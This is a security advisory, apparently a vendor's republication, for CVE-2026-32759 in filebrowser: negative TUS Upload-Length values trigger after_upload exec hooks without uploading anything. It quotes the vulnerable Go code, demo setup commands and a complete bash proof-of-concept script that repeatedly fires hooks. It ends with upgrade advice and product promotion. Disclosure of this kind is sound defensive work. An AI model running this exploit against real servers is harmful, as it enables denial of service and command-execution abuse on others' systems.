CVE-2026-32759

CVE-2026-32759 is a medium-severity improper input validation vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions < 2.33.8. It is fixed in 2.33.8.

Summary

[!NOTE]
This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file: http/tus_handlers.go

Vulnerable code - POST (register upload):

func getUploadLength(r *http.Request) (int64, error) {
    uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)
    if err != nil {
        return 0, fmt.Errorf("invalid upload length: %w", err)
    }
    return uploadOffset, nil
}

uploadLength, err := getUploadLength(r)
cache.Register(file.RealPath(), uploadLength)

Vulnerable code - PATCH (write chunk):

newOffset := uploadOffset + bytesWritten  
if newOffset >= uploadLength {            
    cache.Complete(file.RealPath())
    _ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)
}

The completion check uses signed comparison. Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.

Consequence: An attacker with upload permission can:

  1. Initiate a TUS upload for any filename with Upload-Length: -1
  2. Send a PATCH with an empty body ( Upload-Offset: 0 )
  3. after_upload hook fires immediately with a 0-byte (or partial) file
  4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook

If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

docker run -d --name fb-tus \
  -p 8080:80 \
  -v /tmp/fb-tus:/srv \
  -e FB_EXECER=true \
  filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "commands": {
      "after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""]
    }
  }'

PoC Exploit

#!/bin/bash

TARGET="http://localhost:8080"

TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Token: ${TOKEN:0:40}..."

FILENAME="/trigger_test_$(date +%s).txt"

echo "[*] Step 1: POST TUS upload with Upload-Length: -1"
curl -s -X POST "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Length: -1" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Location"

echo ""
echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"
curl -s -X PATCH "$TARGET/api/tus$FILENAME" \
  -H "X-Auth: $TOKEN" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Content-Length: 0" \
  -v 2>&1 | grep -E "HTTP|Upload"

echo ""
echo "[*] Checking hook log on server (/tmp/hook_log.txt)..."
echo "[*] If hook fired, you will see entries like:"
echo "    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>"

echo ""
echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."
for i in $(seq 1 5); do
  FNAME="/spam_hook_$i.txt"
  curl -s -X POST "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Length: -1" \
    -H "Content-Length: 0" > /dev/null
  
  curl -s -X PATCH "$TARGET/api/tus$FNAME" \
    -H "X-Auth: $TOKEN" \
    -H "Upload-Offset: 0" \
    -H "Content-Type: application/offset+octet-stream" \
    -H "Content-Length: 0" > /dev/null
  
  echo "  Hook trigger $i sent"
done
echo "[*] Done - 5 hooks fired with 0 bytes uploaded."

Resolution

This vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

Impact

Exec Hook Abuse (when enableExec = true):

An attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:

  • Denial of Service:

Triggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side.

  • Command Injection amplification:

Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.

  • Business logic abuse:

Triggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.

Hook-free impact:

Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.

Who is affected:

All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Affected versions

github.com/filebrowser/filebrowser/v2 (< 2.33.8)

Security releases

github.com/filebrowser/filebrowser/v2 → 2.33.8 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/filebrowser/filebrowser/v2 to 2.33.8 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-32759? CVE-2026-32759 is a medium-severity improper input validation vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions < 2.33.8. It is fixed in 2.33.8. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-32759? github.com/filebrowser/filebrowser/v2 (go) versions < 2.33.8 is affected.
  3. Is there a fix for CVE-2026-32759? Yes. CVE-2026-32759 is fixed in 2.33.8. Upgrade to this version or later.
  4. Is CVE-2026-32759 exploitable, and should I be worried? Whether CVE-2026-32759 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-32759 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-32759? Upgrade github.com/filebrowser/filebrowser/v2 to 2.33.8 or later.

Other vulnerabilities in github.com/filebrowser/filebrowser/v2

CVE-2026-54090CVE-2026-54093CVE-2026-54094CVE-2026-54092CVE-2026-54096

Stop the waste.
Protect your environment with Kodem.